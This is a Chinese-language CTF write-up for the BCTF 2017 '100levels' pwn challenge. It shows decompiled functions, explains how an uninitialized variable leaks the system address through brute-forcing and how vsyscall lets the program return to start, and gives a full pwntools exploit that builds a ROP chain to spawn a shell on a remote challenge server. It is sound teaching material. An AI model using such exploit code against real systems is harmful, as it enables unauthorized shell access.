XCTF 3rd-BCTF-2017——100levels

64位程序,没开canary,但开了PIE  #爆破 #vsyscall

程序逻辑

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   int v3; // eax
 4 
 5   set();
 6   put_logo();
 7   while ( 1 )
 8   {
 9     while ( 1 )
10     {
11       menu();
12       v3 = read_int();
13       if ( v3 != 2 )
14         break;
15       hint();
16     }
17     if ( v3 == 3 )
18       break;
19     if ( v3 == 1 )
20       go();
21     else
22       puts("Wrong input");
23   }
24   lose();
25   return 0LL;
26 }

hint函数

 1 int sub_D06()
 2 {
 3   signed __int64 v1; // [rsp+8h] [rbp-108h]
 4   int v2; // [rsp+10h] [rbp-100h]
 5   __int16 v3; // [rsp+14h] [rbp-FCh]
 6 
 7   if ( unk_20208C )
 8   {
 9     sprintf((char *)&v1, "Hint: %p\n", &system, &system);
10   }
11   else
12   {
13     v1 = 5629585671126536014LL;
14     v2 = 1430659151;
15     v3 = 78;
16   }
17   return puts((const char *)&v1);
18 }

go函数

 1 int sub_B94()
 2 {
 3   int v1; // ST0C_4
 4   __int64 v2; // [rsp+0h] [rbp-120h]
 5   __int64 v3; // [rsp+0h] [rbp-120h]
 6   int v4; // [rsp+8h] [rbp-118h]
 7   __int64 v5; // [rsp+10h] [rbp-110h]
 8   signed __int64 v6; // [rsp+10h] [rbp-110h]
 9   signed __int64 v7; // [rsp+18h] [rbp-108h]
10   __int64 v8; // [rsp+20h] [rbp-100h]
11 
12   puts("How many levels?");
13   v2 = read_int();
14   if ( v2 > 0 )
15     v5 = v2;
16   else
17     puts("Coward");
18   puts("Any more?");
19   v3 = read_int();
20   v6 = v5 + v3;
21   if ( v6 > 0 )
22   {
23     if ( v6 <= 99 )
24     {
25       v7 = v6;
26     }
27     else
28     {
29       puts("You are being a real man.");
30       v7 = 100LL;
31     }
32     puts("Let's go!'");
33     v4 = time(0LL);
34     if ( (unsigned int)sub_E43((unsigned int)v7) != 0 )
35     {
36       v1 = time(0LL);
37       sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
38       puts((const char *)&v8);
39     }
40     else
41     {
42       puts("You failed.");
43     }
44     exit(0);
45   }
46   return puts("Coward Coward Coward Coward Coward");
47 }

sub_E43函数

 1 _BOOL8 __fastcall sub_E43(signed int a1)
 2 {
 3   int v2; // eax
 4   __int64 v3; // rax
 5   __int64 buf; // [rsp+10h] [rbp-30h]
 6   __int64 v5; // [rsp+18h] [rbp-28h]
 7   __int64 v6; // [rsp+20h] [rbp-20h]
 8   __int64 v7; // [rsp+28h] [rbp-18h]
 9   unsigned int v8; // [rsp+34h] [rbp-Ch]
10   unsigned int v9; // [rsp+38h] [rbp-8h]
11   unsigned int v10; // [rsp+3Ch] [rbp-4h]
12 
13   buf = 0LL;
14   v5 = 0LL;
15   v6 = 0LL;
16   v7 = 0LL;
17   if ( !a1 )
18     return 1LL;
19   if ( (unsigned int)sub_E43((unsigned int)(a1 - 1)) == 0 )
20     return 0LL;
21   v10 = rand() % a1;
22   v2 = rand();
23   v9 = v2 % a1;
24   v8 = v2 % a1 * v10;
25   puts("====================================================");
26   printf("Level %d\n", (unsigned int)a1);
27   printf("Question: %d * %d = ? Answer:", v10, v9);
28   read(0, &buf, 0x400uLL);
29   v3 = strtol((const char *)&buf, 0LL, 10);
30   return v3 == v8;
31 }

read(0,&buf,0x400uLL)这一句存在栈溢出

但这里无法泄露libc基地址

通过仔细看hint函数的汇编代码

得知无论判断条件是否成立,程序都会把system的地址放在rbp-0x110处

而go函数中v5也在rbp-0x110处,通过调试知道,这两个函数的rbp相同

所以v5和system_adr在同一地址处存放

在go函数中,如果v2<=0,则v5未赋值便执行v6=v5+v3

此时v5的值便为system_adr

开启pie时,地址后3个十六进制数不变,即system_adr地址为0x7xxxxxxxxxxxx390

而v6<=0时,程序输出‘Coward’并返回菜单,循环运行

所以可以控制v3的值,爆破猜出system_adr的值

通过调试还可以看到栈溢出时,在偏移35个字长处有start的地址,可以通过vsyscall来让程序ret到start处,而vsyscall的地址是固定不变的

利用思路

先运行一次hint,使rbp-0x110处为system_adr

v2输入0,这时v5=system_adr

通过控制输入v3的值,爆破猜system_adr的值

v3<-system_adr  时v6=system_adr+v3>0进入sub_E43函数,否则输出’Coward‘

此时v3=system_adr-0x1000

通过栈溢出覆盖v3=v8通过99次答题检测

栈溢出,用vsyscall覆盖栈直到start地址处,使程序返回到栈中的start地址处,重新运行程序

爆破出了system_adr,即可得到libc_基地址,在libc中寻找 ’/bin/sh\x00‘字符串

使用ROPgadget得到pop rdi ; ret 地址;

栈溢出,构造payload=offset*'a'+'b'*8+p32(poprdi_ret)+p32(binsh_adr)+p32(system_adr)触发

exploit

 1 from pwn import *
 2 sh=remote('111.198.29.45',44894)
 3 libc=ELF('./libc-2.23.so')
 4 elf=ELF('./100levels')
 5 
 6 def go(levels,more):
 7     sh.recvuntil('Choice:\n')
 8     sh.sendline('1')
 9     sh.recvuntil('levels?\n')
10     sh.sendline(str(levels))
11     sh.recvuntil('more?\n')
12     sh.sendline(str(more))
13 
14 def level(ans):
15     sh.recvuntil('Answer:')
16     sh.send(ans)
17 
18 def hint():
19     sh.recvuntil('Choice:\n')
20     sh.sendline('2')
21 count=0
22 leak=0x700000000390
23 for i in range(0x8,0x0,-1):
24     for j in range(0xf,-0x1,-1):
25         hint()
26         temp=leak+j*(1<<(i+2)*4)
27         go(0,-temp)
28         result=sh.recvline()
29         print result
30         if 'Coward' not in result:break
31     leak=temp
32     print hex(leak)
33     for k in range(99):
34         level(p64(0)*5)
35     level(p64(0xffffffffff600400)*35)
36 
37 system_adr=leak+0x1000
38 print "system_adr: "+hex(system_adr)
39 system_off=libc.symbols['system']
40 libc_base=system_adr-system_off
41 print "libc_base: "+hex(libc_base)
42 binsh_adr=libc_base+libc.search('/bin/sh\x00').next()
43 poprdi_ret=libc_base+0x21102
44 go(0,1)
45 payload='a'*0x30+'b'*8+p64(poprdi_ret)+p64(binsh_adr)
46 payload+=p64(system_adr)
47 sh.send(payload)
48 sh.interactive()

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10835993.html
今日推荐